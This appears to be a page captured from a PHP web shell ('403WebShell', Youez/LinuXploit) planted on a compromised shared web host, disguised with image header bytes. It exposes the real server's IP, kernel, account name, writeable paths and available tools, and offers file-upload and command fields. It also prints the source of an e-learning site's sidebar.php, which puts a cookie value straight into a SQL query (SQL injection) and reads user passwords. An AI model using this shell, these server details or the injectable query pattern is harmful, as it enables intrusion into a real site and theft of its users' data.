����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 18.226.98.244
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/learn.skilltainment.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/learn.skilltainment.org/sidebar.php
<?php
include './php/connect.php';
include './php/core.php';
include './php/filterFile.php';
include './php/compress-image.php';
include './php/time.php';

//selecting user data
if(isset($_COOKIE['uid'])){
    $user = $_COOKIE['uid'];
    $query1 = "SELECT `firstname`,`surname`,`email`,`mobile`,`password`,`type` FROM `users` WHERE `uid`='$user'";
    if ($run1 = mysqli_query($conn, $query1)) {
        list($firstname, $surname, $email, $mobile, $password, $user_type) = mysqli_fetch_array($run1);
    } else {
        die(mysqli_error($conn));
    }
}

$_SESSION['last_page']=$_SERVER['REQUEST_URI'];
?>
<!DOCTYPE html>
<html lang="en" class="no-js">

<meta http-equiv="content-type" content="text/html;charset=utf-8" />

<head>
    <meta charset="utf-8">
    <title></title>
    <meta content="width=device-width, initial-scale=1.0" name="viewport">
    <meta content="" name="keywords">
    <meta content="" name="description">

    <!-- Favicon -->
    <link href="img/favicon.html" rel="icon">

    <!-- Google Web Fonts -->
    <link rel="preconnect" href="https://fonts.googleapis.com/">
    <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;600&amp;family=Roboto:wght@500;700&amp;display=swap" rel="stylesheet">

    <!-- Icon Font Stylesheet -->
    <link href="../../cdn.jsdelivr.net/npm/bootstrap-icons%401.4.1/font/bootstrap-icons.css" rel="stylesheet">

    <!-- Libraries Stylesheet -->
    <link href="lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet">
    <link href="lib/tempusdominus/css/tempusdominus-bootstrap-4.min.css" rel="stylesheet" />

    <!-- Custom Upload File Type -->
    <link rel="stylesheet" href="./css/component.css">
    <link rel="stylesheet" href="./css/normalize.css">

    <!-- Sweet Alert -->
    <script src="js/sweetalert.min.js"></script>

    <!-- Customized Bootstrap Stylesheet -->
    <link href="css/bootstrap.min.css" rel="stylesheet">

    <!-- Font Awesome -->
    <link rel="stylesheet" href="./css/all.min.css">

    <!-- Template Stylesheet -->
    <link href="css/style.css" rel="stylesheet">

    <!-- Media Player -->
    <link rel="stylesheet" href="css/watch.css">

    <!-- Icon -->
    <link rel="icon" type="image/png" href="./img/logo.png">

    <!-- Animate.css -->
    <link rel="stylesheet" href="./css/aos.css">

    <!-- remove this if you use Modernizr -->
    <script>
        (function(e, t, n) {
            var r = e.querySelectorAll("html")[0];
            r.className = r.className.replace(/(^|\s)no-js(\s|$)/, "$1js$2")
        })(document, window, 0);
    </script>
    <noscript>
        <style type="text/css">
            [data-aos] {
                opacity: 1 !important;
                transform: translate(0) scale(1) !important;
            }
        </style>
    </noscript>

    <!--og codes-->
    <meta property="og:url" content="<?php echo $_SERVER['PHP_SELF']; ?>" />
    <meta property="og:type" content="website" />
    <meta property="og:title" content="<?php echo "SKILLTAINMENT"; ?>" />
    <meta property="og:image" content="https://skilltainment.org/img/og.jpg" />
    <meta property="og:description" content="Learn" />
    <meta property="fb:app_id" content="197362031139140" />
</head>

<body>

    <div class="container-fluid position-relative d-flex p-0">
        <!-- Sidebar Start -->
        <div class="sidebar pe-4 pb-3 shadow-sm">
            <nav class="navbar bg-secondary navbar-dark">
                <a href="home" class="navbar-brand mx-4 mb-3">
                    <img src="./img/logo.png" alt="LOGO" class="logo"> <span class="text-primary h5">SKILLTAINMENT</span>
                </a>
                <?php
                if (loggedin()) {
                ?>
                    <div class="d-flex align-items-center ms-4 mb-4">
                        <div class="position-relative">
                            <img class="rounded-circle" src="img/user.png" alt="" style="width: 40px; height: 40px;">
                            <div class="bg-success rounded-circle border border-2 border-white position-absolute end-0 bottom-0 p-1"></div>
                        </div>
                        <div class="ms-3">
                            <h6 class="mb-0"><?php echo "$firstname $surname"; ?></h6>
                            <span>
                                <?php
                                if ($user_type == 1) {
                                    echo "Admin";
                                } else {
                                    echo "User";
                                }
                                ?>
                            </span>
                        </div>
                    </div>
                    <div class="navbar-nav w-100">
                        <a href="home" class="nav-item nav-link"><i class="fa fa-home me-2"></i>Home</a>
                        <?php
                        if ($user_type == 1) {
                        ?>
                            <a href="a=playlists" class="nav-item nav-link"><i class="fa fa-video me-2"></i>Playlists</a>
                            <a href="a=mail" class="nav-item nav-link"><i class="fa fa-envelope me-2"></i>Send Mail</a>
                            <a href="users" class="nav-item nav-link"><i class="fa fa-users me-2"></i>Users</a>
                        <?php
                        }
                        ?>
                        <a href="a=workshops" class="nav-item nav-link"><i class="fa fa-tasks me-2"></i>Workshops</a>
                        <a href="a=projects" class="nav-item nav-link"><i class="fa fa-project-diagram me-2"></i>Projects</a>
                        <a href="signout" class="nav-item nav-link"><i class="fa fa-sign-out-alt me-2"></i>Sign Out</a>
                    </div>
                <?php
                } else {
                    ?>
                    <div class="navbar-nav w-100">
                        <a href="home" class="nav-item nav-link"><i class="fa fa-home me-2"></i>Home</a>
                    </div>
                    <?php
                }
                ?>
            </nav>
        </div>
        <!-- Sidebar End -->

Youez - 2016 - github.com/yon3zu
LinuXploit